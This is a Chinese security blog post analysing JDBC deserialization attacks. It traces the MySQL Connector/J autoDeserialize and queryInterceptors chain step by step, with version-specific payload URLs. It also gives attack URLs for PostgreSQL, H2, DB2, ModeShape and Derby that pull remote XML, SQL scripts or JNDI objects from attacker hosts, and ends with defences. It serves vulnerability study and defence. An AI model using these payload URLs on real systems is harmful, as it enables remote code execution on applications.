JDBC反序列化攻击:一条连接串打穿Java的原理细节分析
原创
allby森林之家
allby森林之家
allby森林之家
2026年10月14日 17:40
福建
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
你见过下面这串东西吗?
String url = \"jdbc:mysql://localhost:3306/mysql\"; Connection con = DriverManager.getConnection(url, \"root\", \"root\");
这串代码代表着连接数据库,在Java项目里遍地都是。
你可能会问这咋了?这串代码不是很常见吗?
但如果这条串里的地址、参数,是攻击者塞进来的呢?
那它便可以让你的Java程序主动去连接攻击者搭的假数据库,然后攻击者可以拿着返回的精心构造数据打穿你!
01 JDBC是什么
JDBC(Java Database Connectivity)是 Java 语言中用来规范客户端如何访问数据库的应用程序接口,提供诸如查询和更新数据在内的方法。JDBC 提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序。
Java 自己不干连库的活,它只定义规范,数据库驱动负责实现。JDBC 里有四种主要接口:
DriverManager:负责加载驱动,并处理数据库驱动的注册和选择。
Connection:提供连接到数据库的方法。
Statement:提供执行 SQL 语句的方法。
ResultSet:提供处理 SQL 查询结果的方法。
这四种接口齐全,基本可以处理与数据库相关的所有操作。
02 JDBC连接是怎么建立的
数据库的连接一般分为两个步骤:
1. 注册驱动:Class.forName(\"数据库驱动的类名\") 2. 获取连接:DriverManager.getConnection(xxx)
为什么需要注册驱动?
JDBC 是一个接口,帮助我们省去了底层实现。
我们只需要按步骤就可以完成 MySQL 的连接,这个驱动就是其中步骤之一。
注册驱动会涉及 java.sql.DriverManager——它用来管理所有驱动的注册,所以我们需要利用它注册驱动,然后使用 getConnection 方法去连接。
JDBC 定义了一个叫 java.sql.Driver 的接口,它其中的方法就是具体步骤的实现,所有的数据库驱动包都必须实现这个接口,才能完成数据库的连接操作。
java.sql.DriverManager.getConnection(xx) 其实就是间接调用了 java.sql.Driver 类的 connect 方法实现连接的。
数据库连接成功后会返回一个叫 java.sql.Connection 的连接对象,一切查询操作都依赖它。
下面是一个例子:
String CLASS_NAME = \"com.mysql.jdbc.Driver\"; String URL = \"jdbc:mysql://localhost:3306/mysql\"; String USERNAME = \"root\"; String PASSWORD = \"root\"; Class.forName(CLASS_NAME); // 注册JDBC驱动类 Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
为什么需要 Class.forName呢?因为如果我们调试跟进,调用链是这样的:
Driver (com.mysql.jdbc) :63 Class.forName0 : -1 Class.forName : 264 main : 7
它首先通过反射 + 类加载机制去加载这个类。类加载后会自动执行静态代码块,而静态代码块里干的事就是注册驱动:
static { try { DriverManager.registerDriver(new Driver()); } catch (SQLException var1) { throw new RuntimeException(\"Can't register driver!\"); } }
所以,如果反射某个类又不想初始化类方法,有两种途径:
// 第一种:forName 的第三个参数 initialize=false Class.forName(\"xxxx\", false, loader); // 第二种:ClassLoader.loadClass(\"xxxx\")
Class.forName 能省吗?
SPI 在 JDBC 中被用于运行时动态发现和加载数据库驱动。
我们调用 DriverManager.getConnection() 时,JVM 会通过 ServiceLoader 搜索 META-INF/services 目录下的文件。
如果文件名与 java.sql.Driver 相同,ServiceLoader 就认为文件中列出的所有类名都是 java.sql.Driver 的实现,并尝试加载它们。
举个例子,MySQL 驱动的 jar 包 META-INF/services 目录下,有个名为 java.sql.Driver 的文件,内容就是驱动类的完全限定名 com.mysql.jdbc.Driver。
于是 ServiceLoader 加载 java.sql.Driver 时,会自动加载这个 MySQL 驱动类——不用再自己 Class.forName 了。
03 漏洞原理
若攻击者能控制 JDBC 连接设置项,则可以通过设置其配置指向恶意 MySQL 服务器,触发 ObjectInputStream.readObject(),构造反序列化利用链造成 RCE。
JDBC 连接 MySQL 服务端时,有几条内置查询语句需执行,其中两个查询的结果集,在 MySQL 客户端处理时会被 ObjectInputStream.readObject() 反序列化处理。
可被利用的两条查询语句:
SHOW SESSION STATUS SHOW COLLATION
如果攻击者控制 JDBC 连接设置项,把地址指向恶意 MySQL 服务,客户端反序列化,RCE 就落地了。
谁控制了 JDBC URL,谁就控制了你的程序去连哪个数据库。
04 JDBC 连接参数
MySQL JDBC 有一组\"扩展参数\",其中几个是危险的。它们都会被解析进驱动内部属性表,最终影响连接行为。
statementInterceptors:连接参数,用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表。这些拦截器通过在查询执行和结果返回之间插入自定义逻辑影响结果,串成一条链,第一个拦截器返回的结果传递给第二个。在 8.0 中被 queryInterceptors 替代。
queryInterceptors:逗号分隔的 Class 列表(实现 com.mysql.cj.interceptors.QueryInterceptor 接口),在查询执行前后各插入一次操作。
autoDeserialize:自动检测并反序列化存在 BLOB 字段中的对象——这就是漏洞触发的开关。
detectCustomCollations:驱动是否检测服务器上安装的自定义字符集/排序规则。为 true 时,每次建立连接从服务器获取实际字符集——这也是另一条利用链的入口。
这四个参数,就是整条攻击链的钥匙。
05 JDBC 代码分析
环境:mysql-connector-java-8.0.12
测试用例:
import java.sql.*; public class test { public static void main(String[] args) throws Exception { String CLASS_NAME = \"com.mysql.jdbc.Driver\"; String URL = \"jdbc:mysql://localhost:3306/ljl\"; String USERNAME = \"root\"; String PASSWORD = \"root\"; Class.forName(CLASS_NAME); Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); } }
在 getConnection 下断点,我们跟进。
像我们的 info 中放入 passwd 和 username,然后再次调用 getConnection,第三个参数确保加载正确的类。来到更详细的 getConnection:
ClassLoader callerCL = caller != null ? caller.getClassLoader() : null; synchronized(DriverManager.class) { if (callerCL == null) { callerCL = Thread.currentThread().getContextClassLoader(); } } if(url == null) { throw new SQLException(\"The url cannot be null\", \"08001\"); }
还是一样在判断是否加载正确的类,然后检查参数是否为空。重点在后面:首先在驱动中遍历注册驱动,然后 isDriverAllowed 查看是否有权限,有就直接连接:
首先是进行一些判断,不符合就继续,然后来到我们的解析 URL,解析成数组形式,然后调用 ConnectionImpl.getInstance,传入解析好的参数:
switch (conStr.getType()) { case SINGLE_CONNECTION: return ConnectionImpl.getInstance(conStr.getMainHost()); case LOADBALANCE_CONNECTION: ... case FAILOVER_CONNECTION: ... case REPLICATION_CONNECTION: ... }
获取 type,这里是第一个,然后调用 ConnectionImpl.getInstance,我们先看参数:
public static JdbcConnection getInstance(HostInfo hostInfo) throws SQLException { return new ConnectionImpl(hostInfo); }
返回一个新的 ConnectionImpl 对象,我们跟进构造方法,其中重要部分:
this.props = hostInfo.exposeAsProperties(); this.propertySet = new JdbcPropertySetImpl(); this.propertySet.initializeProperties(this.props);
exposeAsProperties() 方法就是解析我们的值:
props.setProperty(PropertyKey.HOST.getKeyName(), this.getHost()); props.setProperty(PropertyKey.PORT.getKeyName(), String.valueOf(this.getPort())); props.setProperty(PropertyKey.USER.getKeyName(), this.getUser()); props.setProperty(PropertyKey.PASSWORD.getKeyName(), this.getPassword());
然后实例化 JdbcPropertySetImpl 对象,会调用父类构造方法,遍历 PropertyDefinitions.PROPERTY\_NAME\_TO\_PROPERTY\_DEFINITION 的值,依次存放进 PROPERTY\_NAME\_TO\_RUNTIME\_PROPERTY:
这些值正是数据库所允许提供的扩展参数,也就是 query 需要的地方——也正是这里造成了下面的漏洞:
MySQL JDBC 中包含一个危险的扩展参数:autoDeserialize。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的 BLOB 类型字段。
06 利用链分析
先启动假 MySQL 服务(MySQL\_Fake\_Server):
C:\\Users\\xxx\\MySQL_Fake_Server-master>python server.py
运行下面的 Java 代码,即可弹出计算器:
import java.sql.*; public class Test { public static void main(String[] args) throws Exception { Class.forName(\"com.mysql.jdbc.Driver\"); String jdbc_url = \"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\"; Connection con = DriverManager.getConnection(jdbc_url, \"root\", \"root\"); } }
其中的逻辑是什么?
先给出栈堆:
getObject:1333, ResultSetImpl (com.mysql.cj.jdbc.result) resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util) populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor preProcess:105, ServerStatusDiffInterceptor preProcess:76, NoSubInterceptorWrapper invokeQueryInterceptorsPre:1137, NativeProtocol sendQueryPacket:963, NativeProtocol sendQueryString:914, NativeProtocol execSQL:1150, NativeSession setAutoCommit:2064, ConnectionImpl handleAutoCommitDefaults:1382, ConnectionImpl initializePropsFromServer:1327, ConnectionImpl connectOneTryOnly:966, ConnectionImpl createNewIO:825, ConnectionImpl connect:207, NonRegisteringDriver getConnection:247, DriverManager main:8, Test
com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 时看到了 readObject 方法,调试现场如下:
public Object getObject(int columnIndex) throws SQLException { Field field = this.columnDefinition.getFields()[columnIndexMinusOne]; switch (field.getMysqlType()) { case BIT: // 判断数据是不是 blob 或者二进制数据 if (field.isBinary() || field.isBlob()) { byte[] data = getBytes(columnIndex); // 获取连接属性的 autoDeserialize 是否为 true if (this.connection.getPropertySet() .getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) { Object obj = data; // data 长度大于等于2 是为了判断是不是序列化对象 if ((data != null) && (data.length >= 2)) { if ((data[0] == -84) && (data[1] == -19)) { // 识别是不是序列化后的对象(0xACED 魔数) try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); // 反序列化 } catch (Exception e) { } } } return obj; } } return data; } }
怎么调用它?
ServerStatusDiffInterceptor 是一个实现 QueryInterceptor 接口的拦截器(实现类源码如下),JDBC URL 里设了 queryInterceptors=ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,最终走到 getObject。
在 JDBC 连接数据库的过程中,会调用 SHOW SESSION STATUS 去查询,对结果处理时会调用 resultSetToMap:
到这里,我们已经找到了一个利用链了。设置拦截器 → 进入 getObject → 只要 autoDeserialize 为 true,就进到最后的 readObject。
这也是 POC:
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor & autoDeserialize=true 的由来。
为什么弹了四次计算器?
执行上面的程序弹了四次计算器,我们来分析一下:
从 getConnection 入口进去后,使用 com.mysql.cj.jdbc.Driver 连接,然后 ConnectionUrl 构造 URL 对象并对参数解析,根据 case 进入(登录),传入 Host 部分。内部实例化对象初始化值到 propertySet 中,然后实例化 NativeSession 对象保存 session 状态。
然后到重要的 this.createNewIO(false),创建到服务器的 IO 通道,会有一个调用链:
connectOneTryOnly() → initializePropsFromServer() → handleAutoCommitDefaults() → setAutoCommit()
在 setAutoCommit 有执行 SQL 语句的操作,内部使用 NativeProtocol 对象的 sendQueryString 方法发送查询:
if (this.queryInterceptors != null) { T interceptedResults = this.invokeQueryInterceptorsPre(query, callingQuery, false); ... }
检查 queryInterceptors 拦截器属性是否为空,不为空就调用 invokeQueryInterceptorsPre,随后触发拦截器的 preProcess 方法。
然后触发到
populateMapWithSessionStatusValues 方法:
rs = stmt.executeQuery(\"SHOW SESSION STATUS\"); ResultSetUtil.resultSetToMap(toPopulate, rs);
执行一次 SHOW SESSION STATUS 查询,并把结果交给 ResultSetUtil.resultSetToMap,它会调用 rs 的 getObject 方法,可以反序列化我们的恶意数据——前提是这个 if 需要为 true,也就是我们的 autoDeserialize。
if (!(Boolean)this.connection.getPropertySet() .getBooleanProperty(\"autoDeserialize\").getValue()) ...
调用一次 getObject 会反序列化一次,触发一次计算器。这里执行一个 SQL 语句就触发两次(拦截器触发一次 + 查询处理一次),因为连接时会执行两个 SQL 语句(SET autocommit 和初始化查询),所以触发四次计算器。
payload 为什么要这样写?
autoDeserialize=true:ResultSetImpl 对象中,需要有 JDBC 连接的 autoDeserialize 属性为 true,才会进入反序列化。
queryInterceptors=…:NativeProtocol 对象的 queryInterceptors 属性不为 null,才会调用 invokeQueryInterceptorsPre 这个方法:
先前的 ConnectionImpl 对象初始化了一个 NativeSession 对象,后续连接都跟它有关,然后调用 initializeSafeQueryInterceptors 初始化查询拦截器。
这里需要 JDBC 连接属性里 queryInterceptors 的值来加载类,所以指定拦截器类名,也就是
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 类。
缺一不可:autoDeserialize 负责\"能不能反序列化\",queryInterceptors 负责\"谁来触发反序列化\"。
poc 总结:版本地雷
8.0.20 之后链子没有了:
ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 不再调用 resultSetToMap()(即 getObject())。此利用链失效。
不同版本参数名不一样:
8.x queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 6.x statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 5.1.11+ statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor(无cj) 5.1.0-5.1.10 同上,但连接后需要执行查询
如果走 detectCustomCollations,可以打 5.1.28 - 5.1.40:
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.18 以下和 5.1.41 以上都不能用。
07 不止 MySQL
反序列化只是 JDBC 攻击的一种出口,各家驱动还自带别的洞。
PostgreSQL:SocketFactory 变 SpEL 注入
影响范围:9.4.1208 <= PgJDBC < 42.2.25;42.3.0 <= PgJDBC < 42.3.2。
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
socketFactory 参数可以指定任意类去实例化,配合 Spring 的 ClassPathXmlApplicationContext 加载远程 XML,就是一次 SpEL 注入。
不出网也有的打:用 loggerLevel + loggerFile 往目标机写文件。
H2:一行 INIT 跑远程 SQL
H2 的 JDBC URL 支持 INIT 参数,连接时执行一条初始化命令。一条只能执行一条且不能带分号:
jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql 里用 CREATE ALIAS 定义 Java 函数执行系统命令,有回显版本还能写 SHELLEXEC 拿输出。INIT 被过滤时还有 Trick:TRACE\_LEVEL\_SYSTEM\_OUT / TRACE\_LEVEL\_FILE 触发堆叠注入,反斜杠转义分号绕过。
DB2 / ModeShape / Derby:直接 JNDI
jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/x jdbc:jcr:jndi:ldap://127.0.0.1:1389/x jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1
三个走的都是 JNDI 反序列化。Derby 那个是 master 模式,直接读攻击者的 socket 流再 readObject。
高版本 JNDI 绕过:借 DBCP 当跳板
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory org.apache.commons.dbcp2.BasicDataSourceFactory org.apache.commons.dbcp.BasicDataSourceFactory
这四个类(Tomcat 8 自带 dbcp2、7 自带 dbcp1)能通过 getObjectInstance 实例化一个 DataSource,DataSource 会去连接我们指定的 JDBC URL——于是 JNDI 高版本限制就被\"借刀\"绕过去了。
08 如何防御
JDBC URL 和连接参数,绝不能由用户或不可信来源控制。
我总结了四个落点:
- 连接串写死在配置里,只允许运维层修改,前端/API 层不透传任何连接参数;
- 出入口校验:JDBC URL 里出现 autoDeserialize / queryInterceptors / socketFactory / INIT / startMaster 等参数一律拦截;
- 数据库驱动用最新版本:MySQL 8.0.20+、PgJDBC 42.2.25+/42.3.2+ 已修;
- JNDI 远程加载、本地 factory 反序列化,全部禁止或加白名单。
【免责声明】本文仅限授权范围内的安全研究、攻防演练与学习,请勿对未授权系统进行测试。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论